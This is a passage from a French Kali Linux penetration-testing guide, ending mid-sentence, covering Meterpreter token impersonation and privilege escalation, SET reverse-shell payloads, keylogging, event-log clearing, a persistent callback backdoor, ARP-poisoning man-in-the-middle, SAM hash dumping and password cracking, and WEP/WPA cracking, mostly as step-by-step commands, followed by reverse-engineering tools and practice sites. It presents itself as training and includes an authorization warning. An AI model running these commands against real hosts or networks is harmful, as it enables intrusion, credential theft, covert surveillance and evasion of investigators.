▪ la maîtrise de l’outil Social Engineering Toolkit (abrege en SET)
▪ la creation d’une porte derobee persistante
▪ l’attaque type Man-in-the-middle (abrege en MITM)

A. Utilisation de jeton d’imitation


Pour cela, comme son libellé l’indique, il suffit d’imiter un autre utilisateur du réseau en
utilisant un jeton d’imitation (aussi appelé impersonation token). Ce type de jeton contient
des informations de sécurité pour une session de connexion et identifie l’utilisateur, son
groupe et ses privilèges. Ainsi, lorsqu'un utilisateur se connecte au système Windows, il
fournit un jeton d’accès en guise de son authentification de session.
Le jeton d’imitation nous permet d’escalader nos privilèges par imitation d’un utilisateur
modèle. Un compte système, par exemple, peut nécessiter de s’exécuter en tant
qu’administrateur du domaine pour pouvoir réaliser une tâche spécifique et libérer alors
ses privilèges à la fin. Nous allons utiliser cette faiblesse pour élever nos droits d’accès.

Pour pouvoir éprouver ce type de manipulation, il est bien évident que nous devons
bénéficier à la fois d’une connexion Internet et/ou Intranet ainsi que la désignation d’une
machine cible sur laquelle on va devoir se connecter. On commence l’exploration du jeton
d’imitation depuis un shell Meterpreter.

REMARQUE : on rappelle qu’il faut utiliser Metasploit pour attaquer une cible afin de
concevoir un script Meterpreter:
A ce stade, on peut alors utiliser incognito pour ensuite exécuter l’une des nombreuses
options proposées par le logiciel (que l’on peut obtenir en exécutant l’instruction help) :

On peut alors lister les utilisateurs connectés sur le système ou ayant eu un accès récent
à la machine ciblée. Pour cela, il suffit d’exécuter la commande suivante :
meterperter> list_tokens -u

Le résultat type que l’on doit voir apparaître correspond à la liste des sessions actives sur
l’hôte ciblée (pour un poste de travail, on ne devrait donc avoir qu’une seule ligne de
résultat, comme le montre l’exemple ci-dessous):
Delegation Tokens Available

=============================================

PC-Phil\phil

Ensuite, il faut exécuter l’attaque d’imitation. La syntaxe à utiliser s’exprime au format


impersonate_token <UserSession> :
meterpreter> impersonate_token \\PC-Phil\phil

Au final, on peut exécuter une commande shell. Si cela fonctionne, c’est que l’on est
désormais connecté au système en tant qu’utilisateur ayant servi de modèle, dans notre
cas : phil. Ainsi, via ce genre de manœuvre d’imitation, il suffit de choisir un utilisateur
type ayant les privilèges les plus élevés possibles et déjà connecté au domaine, afin de
pouvoir aller plus loin et compromettre d’autres serveurs du réseau local.

B. Escalade de privilège local


La suite logique de l’attaque par jeton d’imitation consiste à obtenir des privilèges
d’administrateur sur la machine compromise. Ce genre d’attaque permet de s’octroyer
des accès à un compte utilisateur du système ou du domaine en utilisant le système local
auquel on est attaché. Lorsque l’on a réussi à obtenir l’accès à la machine ciblée, en
utilisant Metasploit grâce au payload de l’outil, il faut alors exécuter la commande
suivante :
meterperter> getsystem -h

Ensuite, pour obtenir l’élévation de privilège système, on peut alors exécuter la même
commande sans l’option -h.

REMARQUE: dans le cas particulier d’une tentative d’accès à un système Windows 7, on


doit au préalable exécuter la commande bypassuac en premier, avant l’exécution de la
commande getsystem:
msf> run post/windows/escalate/bypassuac

meterpreter> getsystem

Dans tous les cas de figure, on récupère ainsi l’accréditation du compte système, en ayant
pris le compte d’administration local comme modèle. Cela permet d’élever ainsi les
privilèges d’accès à une machine distante, sur laquelle nous effectuons une tentative
d’intrusion ciblée.

C. Social Engineering Toolkit (SET)


Cette suite SET est un ensemble incluant des outils permettant d’attaquer une victime en
utilisant la tromperie. Ce genre de suite est vite devenu un standard de l’arsenal des
testeurs d’intrusions. On commence par ouvrir une fenêtre de terminal afin d’exécuter la
commande suivante :
> se-toolkit

Cette suite affiche alors un menu de plusieurs options :


REMARQUE : avant d’exécuter une attaque via SET, c’est une bonne idée que de mettre à
jour la version de l’outil depuis le site de l’auteur [Link].
Après avoir sélectionné l’option 1 ci-dessus, on peut alors sélectionner l’option 4. "Create
a Payload and Listener". Ensuite, on doit fournir l’adresse IP pour la charge de connexion
inverse :

On récupère ainsi une liste de payloads à générer pour l’option sélectionnée ainsi que leur
description. On va alors sélectionner l’option Windows Reverse_TCP
Meterpreter (option 2) :
Il faut alors préciser le port d’écoute. En règle générale, on choisit systématiquement le
port TCP/443. Au final, lorsque la charge utile s’est exécutée correctement, l’assistant de
SET nous propose de démarrer le listener :

Metasploit va alors ouvrir un agent d’exécution appelé handler. Ainsi, au travers de


menus, on peut laisser SET effectuer pour nous les tentatives d’intrusions et activer les
exploits précédemment listés, afin de tromper la machine ciblée. Le résultat sera alors un
script exécutable qui nous fournira une session Meterpreter active de connexion à la
machine attaquée.

En complément de la collecte d’informations en vue d’une tentative d’intrusion, que l’on


a vu dans le chapitre précédent, on peut également récupérer de l’information d’une cible
potentielle au travers d’un shell Meterpreter. Pour cela, on utilise Metasploit, comme on
vient de le voir, pour attaquer un hôte et gagner un shell Meterpreter.

Puis, après avoir récupéré l’accès à notre hôte cible, en utilisant un des exploits Metasploit,
grâce à une charge utile Meterpreter, il suffit alors d’attendre que l’outil nous propose son
prompt pour pouvoir commencer à ouvrir une session de keylogger :
meterperter> keyscan_start

Ainsi, on peut récupérer l’ensemble des commandes saisies au clavier par l’utilisateur
distant, en exécutant la commande keyscan_dump. Il est évident qu’un autre moyen de
connaître les saisies d’un utilisateur sur une machine distante, est d’utiliser l’outil
Wireshark. En faisant cela, me direz-vous, nous laissons des traces. Et bien, en fait
Metasploit et Meterpreter disposent de moyens permettant d’aller automatiquement
supprimer celles-ci de la façon suivante:
Il ne reste plus à mentionner à IRB quels journaux de traces nous souhaitons effacer parmi
les choix suivants :

▪ log = [Link]('system')
▪ log = [Link]('security')
▪ log = [Link]('application')
▪ log = [Link]('directory service')
▪ log = [Link]('dns server')
▪ log = [Link]('file replicationservice')
En dernier recours, il ne reste plus alors qu’à faire exécuter l’ordre de suppression de ces
traces, grâce à l’instruction ci-dessous, étant entendu qu’il n’est nullement obligatoire
d’effacer l’ensemble des traces. Il faut sélectionner intelligemment celles à effacer parmi
le choix proposé :
>> [Link]

D. Création d’une porte dérobée persistante


Puisque l’on a réussi à ouvrir une session à distance sur la machine hôte ciblée, il est alors
facile d’y déposer une porte dérobée (backdoor) persistante en utilisant encore une fois
Metasploit et Meterpreter. On doit exécuter la commande suivante :
meterpreter> run persistence -h

REMARQUE: la commande de persistance possède de nombreuses options. Il est donc


fortement conseillé de regarder l’aide en ligne de celle-ci afin de s’y retrouver.
Afin de pouvoir déposer une porte dérobée persistante sur la machine ainsi piratée, il
suffit d’exécuter une commande du type :
meterpreter> run persistence -U -A -i 10 – 8090 -r [Link]

L’option -U permet de démarrer la porte dérobée dès le redémarrage du systeme après


reboot.
L’option -A démarre plusieurs handler automatiques pour se connecter à l’agent.
L’option -i représente le délai (en secondes) entre deux tentatives d’attaque.
L’option -r permet de préciser l’adresse IP de la machine attaquante.

E. Attaque Man-in-the-middle (MITM)


On ne présente plus l’attaque dite de l’homme du milieu (ou plus communément
appelée man-in-the-middle abrégée en MITM). Pour pouvoir provoquer ce genre
d’attaque sur une cible dont on a eu l’accès grâce à Metasploit et aux charges utiles de
Meterpreter, il suffit d’ouvrir l’utilitaire Ettercap :
On peut alors ouvrir le menu "Sniff", comme décrit ci-dessous et on peut choisir l’option
d’interface réseau adéquate (selon les configurations). Dans l’exemple, on sélectionne
‘Unified sniffing’ :

L’assistant propose alors de préciser sur quelle interface on souhaite réaliser l’attaque en
question :

Ensuite, dans le nouveau menu qui nous est proposé, on choisit le menu "Hosts" dans
lequel on sélectionne l’option ‘Scan for Hosts’ :
Après quoi, en sélectionnant l’option ‘Host List’ on peut ainsi récupérer la liste des
machines potentielles sur lesquelles on peut effectuer ce type d’attaque de l’homme du
milieu :

Il ne reste plus qu’à sélectionner la cible sur laquelle réaliser l’attaque MITM en cliquant
sur le bouton ‘Add to Target 1’ comme décrit ci-dessous :

On peut déclencher la capture de session Ettercap, en cliquant sur le bouton ‘Start’.


Ensuite, il faut ouvrir le menu "Mitm" afin de sélectionner l’option ‘Arp poisonning’ :

On doit ensuite sélectionner le paramètre optionnel ‘Sniff remote connections’ en cochant


la case ci-dessous :

En fonction du trafic réseau, on commence alors à voir des informations défiler dans la
fenêtre de traces d’Ettercap :
Il faut alors penser à arrêter la session d’empoisonnement ARP, en sélectionnant l’option
‘Stop sniffing’. Dès lors on devrait voir apparaître la fenêtre ci-dessous :

S’attaquer aux mots de passe avec Kali


Linux
Une autre façon de s’octroyer le droit d’accéder à une session sur une machine distante
sur laquelle on effectue des tests d’intrusion, consiste à chercher à "cracker" le ou les mots
de passe des comptes utilisés. Il existe de nombreuses techniques permettant de
connaître un mot de passe d’un utilisateur tiers. Parmi les différentes solutions nous
détaillerons :

▪ L’attaque de mot de passe en ligne


▪ Le profilage de mot de passe
▪ Le crackage de mot de passe via John the ripper
▪ L’attaque de mot de passe par dictionnaire

A. Attaque de mot de passe en ligne


Pour cela, il faut ouvrir l’utilitaire hydra-gtk proposé parmi les nombreux outils de
Kali Linux au sein du menu 05-Attaques de Mot de Passe :

Cela permet d’ouvrir l’interface graphique de l’application xHydra dans laquelle on va


pouvoir préciser de quel type d’attaque il s’agit (pour l’exemple, nous effectuerons une
attaque de mot de passe unique) ainsi que le protocole type (ici, afp):

▪ Cible unique
▪ Cibles multiples
Au niveau de l’onglet ‘Passwords’ on peut ensuite préciser le fichier des comptes
utilisateurs concernés (via la liste Username List) ainsi que la liste des mots de passe
associés:

Il faut par ailleurs fixer les performances attendues pour le processus d’attaque des mots
de passe, en fixant les paramètres ci-dessous:
Il ne reste plus qu’à ouvrir l’onglet ‘Target’ afin de fixer la cible et le protocole attendu
pour ce type d’attaque. Pour l’exemple, nous choisissons une machine MySQL/MariaDB
possédant l’adresse IP [Link] :
Il ne reste plus qu’à ouvrir l’onglet ‘Start’ et cliquer sur le bouton éponyme pour
déclencher l’opération de scan afin d’associer les comptes utilisateurs et les mots de passe
déchiffrés.

B. Profilage de mot de passe


Ici, on va s’attacher à utiliser l’utilitaire Ettercap dont le fichier de configuration se trouve
dans le répertoire /etc/ettercap et s’appelle [Link]. Ce fichier doit être retouché
pour préciser l’uid et le gid de privilège par défaut. En effet, au démarrage nul n’a de droit.
On va donc faire en sorte de fournir ceux du compte root :
REMARQUE : afin de pouvoir effectuer un filtrage réseau des paquets circulant au travers
de la plateforme, il faut alors aussi décommenter les lignes concernant le filtrage des flux
(selon le pare-feu utilisé). Pour l’exemple, nous dé commenterons les lignes
concernant iptables :

On peut ensuite pratiquer de la même façon que précédemment en ouvrant l’interface


hydra-gtk et en sélectionnant le menu "Sniff". On doit ensuite préciser l’interface sur
laquelle on souhaite pratiquer l’attaque, lister les hôtes à tester et démarrer la collecte
d’informations. Ensuite, au sein du menu "Mitm" on déclenche l’empoisonnement ARP (en
cochant la case des connexions distantes).

REMARQUE: il faut alors arrêter la capture d’informations ainsi que l’attaque MITM, en
sélectionnant les options idoines.
Au final, comme nous avons provoqué une attaque de l’homme du milieu en redirigeant
les flux vers notre propre machine, et en positionnant du filtrage réseau via iptables,
permettant de tracer les paquets circulant en entrée et en sortie, nous sommes en mesure
de visualiser les noms d’utilisateurs et leur mot de passe tels qu’ils les transmettent au
travers des flux réseau.

C. Crackage de mot de passe via John the


ripper
Avant de pouvoir cracker le mot de passe d’un serveur Windows, on suppose que l’on a
eu accès à celle-ci grâce à un exploit découvert au travers de l’interface Metasploit, par
exemple. Sinon, il faut utiliser Kali Linux en mode déconnecté grâce à une clé USB ou en
mode Live. On peut alors vérifier le disque physique sur lequel on souhaite valider notre
montage :
# fdisk -l

On peut alors effectuer le montage de notre partition sur le point de montage cible :
# mount /dev/sda1 /mnt/target/

Il faut ensuite changer le répertoire de localisation du fichier SAM de la machine


Windows:
# cd /mnt/target/windows/system32/config

A ce stade, on peut utiliser le programme samdump2, permettant d’extraire les


empreintes et la localisation du fichier souhaité (isi le compte System), directement dans
le répertoire de notre utilisateur root de la plateforme Kali Linux :
# samdump2 system SAM > /root/hashes/[Link]

Il faut ensuite se déplacer dans le répertoire où se trouve l’utilitaire John the ripper et
exécuter la commande ci-dessous :
# ./john /root/hashes/[Link]

D. Attaque de mot de passe par dictionnaire


Pour effectuer une attaque de mot de passe par dictionnaire, on peut encore compter sur
un des nombreux outils fourni par Kali Linux : j’ai nommé crunch. Cet outil possède de
nombreuses options. Mais, en règle générale, la syntaxe est la suivante :
# crunch <minLength> <maxLength> <Charset> <Options>

L’objectif est de demander au programme de composer des mots de passé d’une longueur
minimum et de longueur maximum, utilisant un jeu de caractères passé en paramètre. Le
résultat peut alors être redirigé vers un fichier en sortie :
# crunch 8 10 ABCDEFGHIJKLMNabcdefghijklmn0123456789 –o
/root/Desktop/[Link]

REMARQUE : bien sûr, on peut effectuer ce genre de tests en décortiquant les jeux de
caractères et en y introduisant des caractères spéciaux.
Parmi les autres moyens d’attaque des mots de passe que l’on peut également exploiter,
on peut citer les différents utilitaires suivants:

▪ Les tables arc-en-ciel (dans /usr/share/rainbowcrack)


▪ Le calcul massif via CUDA (dans /usr/share/oclhashcat-plus)
▪ L’attaque force brute (dans /usr/share/wordlists)
Si l’on est intéressé par l’analyse du comportement de certains protocoles, Kali Linux
intègre aujourd’hui un outil très pratique : scapy. Ce dernier est une bibliothèque
Python permettant d’utiliser un grand nombre des protocoles les plus courants (il y en a
quand même plus de 150 intégrés) et d’analyser ainsi le fonctionnement interne et la
circulation des flux de paquets entrants ou sortants.

Attaques de réseaux sans-fil avec Kali


Linux
Aujourd'hui, il n’est pas une entreprise n’utilisant pas les réseaux sans-fil pour adresser
les applications fournies aux utilisateurs. Malheureusement, la mobilité engendre
également un certain nombre d’inconvénient, dont la sécurité doit tenir compte. Nous
allons donc explorer différentes techniques permettant de manipuler les ondes
radio du trafic réseau incluant celles des téléphones mobiles et des réseaux sans-
fil.
Parmi les différentes solutions pour éprouver une connexion au réseau sans-fil, on
détaillera les suivantes :

▪ Crackage de reseau sans-fil WEP (ainsi que WPA/WPA2)


▪ Automatisation du crackage des reseaux sans-fil
▪ Manipulation du trafic d’url
▪ Redirection de port
L'objectif n'est pas de vous inciter à pirater le réseau sans-fil de votre voisin, mais
plutôt de vous faire prendre conscience de l'importance de renforcer la sécurisé de
son réseau sans-fil (ou filaire...).

A. Crackage de réseau sans fil


Il faut commencer par distinguer les réseaux type WEP (Wireless Equivalent Privacy) de
ceux abrégé en WPA (WiFi Protected Access). Dans le premier cas, il s’agit de la première
génération de réseau sans-fil supplantée en 2003 par la seconde génération WPA/WPA2.
Dans tous les cas, nous utiliserons Aircrack qui est un programme de capture, d’analyse
et de crackage du trafic de réseaux sans-fil. Grâce au programme airmon-ng, on va stopper
l’interface sans-fil (généralement appelée wlan0) afin de changer l’adresse MAC :
# airmon-ng stop

# ifconfig wlan0 down

# macchanger --mac 0a:0b:1c:45:56:67 wlan0

On peut alors redémarrer l’interface du Réseau sans-fil:


# airmon-ng start wlan0

Le programme airodump-ng va alors permettre de détecter les points d’accès au réseau


sans-fil à proximité :
# airodump-ng wlan0

Cela permet alors de faire apparaître une liste de réseaux disponibles. Lorsque l’on
affiche celui que l’on souhaite attaquer, on peut arrêter le déroulement de la liste (en
cliquant sur [CTRL]+C. On doit ensuite sélectionner l’adresse Mac correspondant au
réseau souhaité, grâce à ce qui apparaît dans la colonne BSSID. En cliquant à droite sur le
bouton de la souris et en sélectionnant l’option ‘Copy’, cela permet de mémoriser cette
information.
D'autre part, il faut également retenir le numéro de canal que l’on visualise dans la colonne
‘Channel’. On peut donc déclencher la capture de la session pour ce réseau précis :
# airodump-ng -c 10 -w wirelessattack --bssid 09:AC:90:AB:78 wlan0

Cela déclenche l’ouverture d’une fenêtre de type terminal qui affiche le résultat de la
précédente commande. On peut fermer cette fenêtre et en ouvrir une nouvelle afin de
pouvoir tenter l’association grâce au programme aireplay-ng dont le formalisme est :
# aireplay-ng -1 0 -a <BSSID> -h <MAC> -e <ESSID> <Interface>

Exemple : pour une machine dont le BSSID est 09:AC:90:AB:78 :


# aireplay-ng -1 0 -a 09:AC:90:AB:78 –h 0a:0b:1c:45:56:67 -e sr-kali2018
wlan0

L’étape suivante consiste alors à rediriger le trafic vers le routeur afin de pouvoir disposer
de paquets à capturer. On se sert encore une fois du programme aireplay-ng pour cette
tâche spécifique :
# aireplay-ng -3 -b 09:AC:90:AB:78 -h 0a:0b:1c:45:56:67 wlan0
L’écran de la fenêtre se remplit alors de caractères issus du trafic Réseau circulant
actuellement sur le réseau sans-fil. On peut le laisser tourner une à deux minutes afin
d’avoir assez d’information à exécuter lors de la phase de crackage. Finalement, on peut
exécuter le programme aircrack-ng pour permettre d’effectuer le décodage de la clé WEP
:
# aircrack-ng -b 09:AC:90:AB:78 [Link]

REMARQUE : pour ce qui est du décodage des clés WPA/WPA2, c’est dans la dernière
partie que cela diffère des clés WEP. Une seule commande aireplay-ng est nécessaire à
effectuer l’association :
# aireplay-ng --deauth 1 -a 09:AC:90:AB:78 -c 0a:0b:1c:45:56:67 wlan0

Le décodage peut être récupéré via la commande suivante:


# aircrack-ng -w ./[Link] [Link]

B. Automatisation du processus de crackage


WiFi
Afin de permettre une analyse automatique des flux WiFi et détecter les possibilités de se
connecter à distance, on peut mettre en place l’utilitaire gerix. Pour se faire, on doit le
télécharger et le configurer :
# wget [Link]

# unzip [Link]

# mv gerix-wifi-cracker-master/ /usr/share/gerix-wifi-cracker

# cd /usr/share/gerix-wifi-cracker

# python [Link]

Cela va permettre d’ouvrir une fenêtre applicative disposant d’onglets permettant


d’interagir avec les flux réseaux WiFi :
REMARQUE : comme cela fait appel à une application graphique, il est conseillé de lancer
ce processus depuis un serveur X Window pour pouvoir afficher correctement la boite de
dialogue sans message d’erreur.
En termes de configuration, nous pouvons alors sélectionner l’interface WiFi à scanner,
puis cliquer sur le bouton ‘Enable/Disable Monitor Mode’. Lorsque l’activation est
effective, on peut alors sélectionner le réseau cible et cliquer sur le bouton ‘Rescan
Networks’ :
Cela permet alors de visualiser une liste de réseaux disponibles en tant que cible de notre
opération de scan. On doit sélectionner un réseau chiffré WEP et se positionner sur
l’onglet éponyme où il sera possible de déclencher alors la capture du trafic :

Il faut ensuite sélectionner l’onglet ‘WEP Attacks (no client)’ afin de déclencher
l’authentification falsifiée sur la victime du faux point d’accès :
On peut alors successivement cliquer sur les boutons ‘Start false access point
authentication on victim’ puis sur celui mentionnant ‘Start the ChopChop attack’. Dans le
terminal qui s’initialise on peut répondre ‘Y’ à la question ‘Use this packet’. Lorsque c’est
fait on copie le fichier .cap de capture et on clique sur le bouton ‘Create the ARP packet to
be injected on the victim access point’.
Lorsque l’on a capturé approximativement 20000 paquets, on peut basculer sur l’onglet
‘Cracking’ et cliquer sur le bouton ci-dessous pour récupérer le déchiffrement de la chaîne
de caractères associés au mot de passe WEP.

REMARQUE : l’outil gerix permet également de définir un faux point d’accès. Il existe un
onglet ‘Fake AP’ permettant de réaliser ce genre de paramétrage.

C. Manipulation de trafic URL


Il s’agit ici de réaliser quelque chose d’assez similaire à une attaque de l’homme du milieu.
En effet, on cherche alors à rediriger le trafic destiné à Internet à passer
systématiquement par notre plateforme en premier. Ce genre de manipulation s’appuie
sur une attaque par empoisonnement ARP. En envoyant des messages ARP spoofé à une
victime se trouvant sur le même réseau local. Cela peut être mené à bien grâce à
l’utilitaire arpspoof.
On va donc ouvrir une fenêtre de terminal et exécuter la commande ci-dessous autorisant
la redirection du trafic sur notre machine :
# echo 1 >> /proc/sys/net/ipv4/ip_forward

L’étape suivante consiste à exécuter arpspoof pour empoisonner le trafic entrant de la


machine cible vers la passerelle par défaut. Ce programme possède de nombreuses
options dont le formalisme est le suivant :
# arpspoof -i <Iface> -t <IPtarget> <IPdest>

Donc, si l’on souhaite empoisonner le trafic d’une machine Windows7 (par exemple),
portant l’adresse IP [Link], on devra exécuter en premier lieu la commande
suivante :
# arpspoof -i wlan0 -t [Link] [Link]

Puis, il faut alors exécuter à nouveau arpspoof pour récupérer le trafic de la machine
servant de passerelle par défaut vers notre plateforme Kali Linux :
# arpspoof -i wlan0 -t [Link] [Link]

D. Redirection de port
Maintenant, on peut aussi utiliser Kali Linux pour faire en sorte de rediriger un port
d’écoute spécifique. Typiquement, c’est ce qui se fait par exemple pour les flux HTTP, sur
le port TCP/80, que l’on redirige, le plus souvent, vers le port TCP/8080.
De la même façon que précédemment, on utilise la fonctionnalité de redirection
ip_forward pour permettre la redirection du trafic de notre machine :
# echo 1 >> /proc/sys/net/ipv4/ip_forward

Puis, nous exécutons la commande arpspoof pour empoisonner le trafic ARP (de la même
manière que précédemment), mais e ne précisant que l’adresse IP de destination :
# arpspoof -i wlan0 [Link]

Ensuite, nous exécutons arpspoof pour rediriger le trafic de la passerelle par défaut vers
notre plateforme Kali Linux, en ayant également mis en place une règle de redirection via
iptables :
# arpspoof -i wlan0 -t [Link] [Link]

La règle iptables à activer est alors la suivante :


# iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT
--to-port 8080

REMARQUE: il ne faut pas oublier que l’on peut également analyser le trafic réseau au
travers de l’outil ettercap que l’on a vu précédemment, lors de la description des attaques
type Man-in-the-middle et qui s’applique également aux réseaux sans-fil.
Reverse engineering : définition et
méthodes
La rétro-ingénierie (aussi appelée ingénierie inverse ou inversée) consiste à
étudier un objet pour en déterminer le fonctionnement interne ou la méthode de
fabrication.
On parle également de rétro conception. En matière d'informatique’ cela s’applique
également sur les logiciels. Pour cela, on utilise des outils d’analyse tels qu’un
désassembleur ou un dé-compilateur. Si cela revient à faire du débogage, on comprend
pourquoi, grâce aux outils de Kali Linux, on peut s’en servir pour simuler un type
d’attaque permettant de récupérer les informations auxquelles on n’a pas toujours accès
de façon directe.
La rétro-ingénierie est fréquemment utilisée pour les structures de données afin
d’en reconstituer un modèle depuis les structures physiques des fichiers ou des
tables.
REMARQUE : la rétro-ingénierie est devenue très populaire grâce aux jeux vidéo et
notamment le détournement des protections anti-copie. Cette activité s’est d’ailleurs
appelée cracking.
En effet, pour écrire des pilotes pour certains périphériques tels que les webcams ou
autres scanners, les développeurs de logiciels Open Source ont souvent été
contraints à pratiquer la rétro-ingénierie sur le pilote, en interceptant les échanges
entre le processeur et celui-ci, découvrant ainsi comment dialoguer avec la puce
électronique de la carte principale.
En cryptographie, la rétro-ingénierie peut aller jusqu'à prendre la forme d’une attaque
cryptanalytique, afin d’extraire les informations secrètes depuis la "boite noire"
symbolisant le processus de chiffrement. Ce type d’attaque est baptisée attaque par
canaux auxiliaires.

Juridiquement, de nombreux éditeurs de logiciels propriétaires incluent dans leur


contrat de licence utilisateur final (abrégé en CLUF), des clauses d’interdiction de
ce procédé. Mais, dans de nombreux pays, la rétro-ingénierie est autorisée par la loi,
notamment à des fins d’interopérabilité. En France, ce droit est garanti par l’article L 122-
6-1 du code de la propriété intellectuelle. De plus, la rétro-ingénierie peut être l’occasion
de pratiquer un mode défensif, notamment dans les cas suivants :
▪ etude de binaires malicieux (type rootkit), dans le cadre d’une attaque informatique.
▪ etude de virus informatique pour l’amelioration d’un antivirus ou pour eradication.
▪ etude et recherche de vulnerabilites dans les logiciels pour en ameliorer la securite.
Nous allons ici, voir quelques-uns des nombreux outils permettant de pratiquer le reverse
engineering.

A. Utilitaire OllyDbg
Il s’agit d’un programme d’assemblage 32 bits permettant de debugger les applications
Microsoft Windows. L’accent mis sur l’analyse de code binaire le rend particulièrement
utile dans les cas où le code source est indisponible. Généralement ce logiciel est utilisé
pour cracker les logiciels commerciaux. Afin de l’ouvrir, il suffit de sélectionner le
menu Applications, puis les options suivantes :
Afin d’ouvrir un exécutable, on doit alors aller dans le menu ‘Opening folder’ afin de
sélectionner le programme binaire en question. On peut alors visualiser l’intégralité des
événements et des échanges s’effectuant au sein du programme :

B. Utilitaire Dex2jar
Dans la mesure où les applications Android font partie des programmes exécutables, on
peut aussi s’intéresser à la manière dont une application déployée sur un téléphone GSM
est utilisée. Pour se faire, on peut utiliser le programme dex2jar aidant à la conversion de
fichier APK en fichier JAR, dans le but de visualiser le code source. Ce programme s’utilise
en mode ligne de commande de la façon suivante :
# d2j-dex2jar –d /<File>

REMARQUE : le fichier mentionné, doit être précisé avec son chemin d’accès complet. En
sortie on devrait alors disposer d’un fichier JAR, comme le montre la capture suivante :

C. Utilitaire jd-gui
Il s’agit d’un utilitaire graphique permettant d’afficher le code source Java d’un fichier
.class. On peut ainsi parcourir le code source reconstitué et ainsi reconstruire le fichier
que l’on a récupéré à l’étape précédente en utilisant dex2jar. Pour exécuter ce programme
il suffit d’ouvrir un terminal et d’exécuter la commande jd-gui. Cela permet d’initialiser la
fenêtre suivante :

Dans le même esprit, on peut aussi ouvrir l’utilitaire apktool afin d’effectuer de
l’ingénierie inverse pour des applications Android. Là encore, il s’agit d’un utilitaire en
ligne de commande :
# apktool <Appli>.apk
Ce genre de commande permet alors d’initialiser la décompilation du fichier APK.

Vous voilà avec quelques outils entre les mains pour débuter en reverse engineering 😉

Kali Linux : pratique & entrainement


Avant d’aller plus loin dans la découverte de Kali Linux, je vous conseille de fixer avant
tout l’objectif de votre quête. En effet, comme on a pu le découvrir précédemment, Kali
Linux couvre de nombreux sujets et il faut savoir ce pour quoi on l’utilise s’agit-il :

▪ De reporting
▪ Ou encore de decouvrir et de modeliser une faille logicielle ou materielle
▪ Ou d’analyser un comportement quel qu’il soit
▪ Ou tester les limites d’une architecture
▪ Ou reproduire et analyser un protocole
L’autre point essentiel est de savoir sur quel domaine on doit commencer son étude :

▪ Analyse d’un systeme


▪ Analyse d’un materiel (disque, serveur, commutateur…)
▪ Test de penetration d’un systeme d’information
▪ Analyse d’une tentative de penetration via le web
▪ Penetration d’un reseau WiFi
▪ Analyse d’un logiciel pour telephone mobile
Une fois que l’on est fixé sur ces deux aspects de la question, on peut alors ouvrir une
session sur Kali Linux et utiliser l’un des nombreux outils proposés par la distribution,
dans le domaine souhaité. Comme il n’y a pas meilleur moyen de progresser que la
pratique, je vous propose de découper cette partie en deux sections :

▪ Une etude des principaux sites permettant de s’entrainer sur Kali Linux
▪ Une liste (non exhaustive) des principaux sites proposant des programmes de bug
bounty
En premier lieu, si Kali Linux est une formidable distribution pour pratiquer le hacking,
sachez qu’il existe également d’autres outils et d’autres sites où le principal objectif est
de s’entraîner aux tests de pénétration. Parmi les plus connus on peut citer :

▪ [Link] : ce site propose des "Challenges" divers permettant de


progressivement valider ses competences a analyser et trouver des failles potentielles.
▪ owasp-hackademic-challenges : ce site permet de tester et ameliorer vos
connaissances sur la securite des applications web.
▪ webgoat : ici, vous apprendrez a vous specialiser sur le hacking d’application Web
J2EE volontairement vulnerable vous permettant ainsi de vous entraîner.
ATTENTION : comme mentionné précédemment, vous n’êtes autorisés à vous entraîner
au hacking que sur vos machines vos propres systèmes et non sur celles ne vous
appartenant pas, sauf si vous en avez eu l’autorisation préalable.
Par ailleurs, nous le verrons dans la deuxième partie de ce chapitre, il existe beaucoup
de sites ayant créé des programmes appelés bug bounty. L’objectif est de rémunérer ou
récompenser les personnes trouvant des failles sur les sites mentionnés. On trouve ainsi
les plus renommés : Facebook, Google, Avast, Adobe, Microsoft, Mozilla. Ils ont ainsi
trouvé un moyen d’améliorer leur code à moindre frais.
I. Kali Practice
Lorsque l’on est suffisamment aguerri aux différentes techniques hacking il devient très
facile de passer à des jeux plus sérieux et d’utiliser alors pour cela la distribution Kali
Linux. De nombreux tutoriels ont déjà été édités concernant la fameuse distribution. On
peut citer en particulier le site [Link] concentrant pas mal de ces didacticiels que
l’on visiter à l’adresse [Link] Outre l’installation les points
suivants y sont également abordés :

▪ Utilisation de Metasploit
▪ ARP poisonning
▪ Securite des reseaux sans-fil
▪ Audit de serveurs et d’applications
▪ Securisation de systeme d’exploitation et de bases de donnees
▪ Initiation au lockpicking
Rappelons rapidement les différentes catégories couvertes par Kali Linux permettant de
se familiariser avec les outils de la distribution :

▪ Reconnaissance (aussi appelee information gathering)


▪ Analyse des vulnerabilites (appelee vulnerability analysis)
▪ Attaque de reseaux sans-fil (ou wireless attacks)
▪ Penetration d’applications web (ou web applications)
▪ Outils d’exploitation (exploitation tools)
▪ Analyse criminelle (ou forensic tools)
▪ Outils de stress (aussi appeles stress testing)
▪ Analyse reseau et forge de trafic (aussi connus sous l’appellation sniffing & spoofing)
▪ Attaque de mot de passe (ou password attacks)
▪ Persistance de l’acces (appele maintaining access)
▪ Ingenierie inverse (aussi appelee reverse engineering)
▪ Piratage materiel (ou hardware hacking)
Avant d’aller plus loin je tiens à dire qu’il n’existe aucun site couvrant tous ces sujets
ensemble. C’est pourquoi au début de ce chapitre, j’ai mentionné le fait de savoir sur quel
domaine on souhaite effectuer ces tests. Vous trouverez notamment de nombreux sites
proposant l’analyse et le hacking des réseaux sans-fils, ainsi que d'autres sites proposant
des documents PDF explicatifs sur les différentes techniques.

Enfin, pour réaliser de véritables tests grandeur nature vous pouvez vous inscrire sur le
site Root-Me visitable à l’adresse [Link]. Différents niveaux vous sont
proposés :
▪ Un acces visiteur ouvert a tous ou il est possible de s’entraîner gratuitement.
▪ Un acces contributeur ou s’entraîner se fait sur des cas concrets.
▪ Un acces premium ou l’on beneficie des derniers exercices imagines par les
contributeurs.
Dans ce dernier cas, les abonnements servent à financer les nouveaux challenges. Il en
existe à l’heure de l’écriture de ces lignes 360 différents avec une centaine
d’environnements virtuels. Par ailleurs, il existe aussi le site Newbie Contest où de
nombreux challenges sont également proposés. Pour les mordus de challenges, il existe
aussi le site Hack-The-Box.
II. Bug bounty
Comme je le disais en introduction de ce chapitre, certains sites ont mis au point un
programme de récompense pour de véritables analyses et challenges réalisés par des
hackers (au sens propre du terme), qui sont alors rémunérés en fonction de leur réussite
à détecter des failles potentielles. Comme on dit aujourd'hui : c’est du gagnant-gagnant.
En effet, la société mettant en place ce genre de programme y gagne en notoriété (de
plus ses risques d’attaques ou d’intrusions sont réduites d’autant) et le hacker y trouve
son compte également.

Étymologiquement parlant, le bug bounty est la récompense qu’une société offre à celles
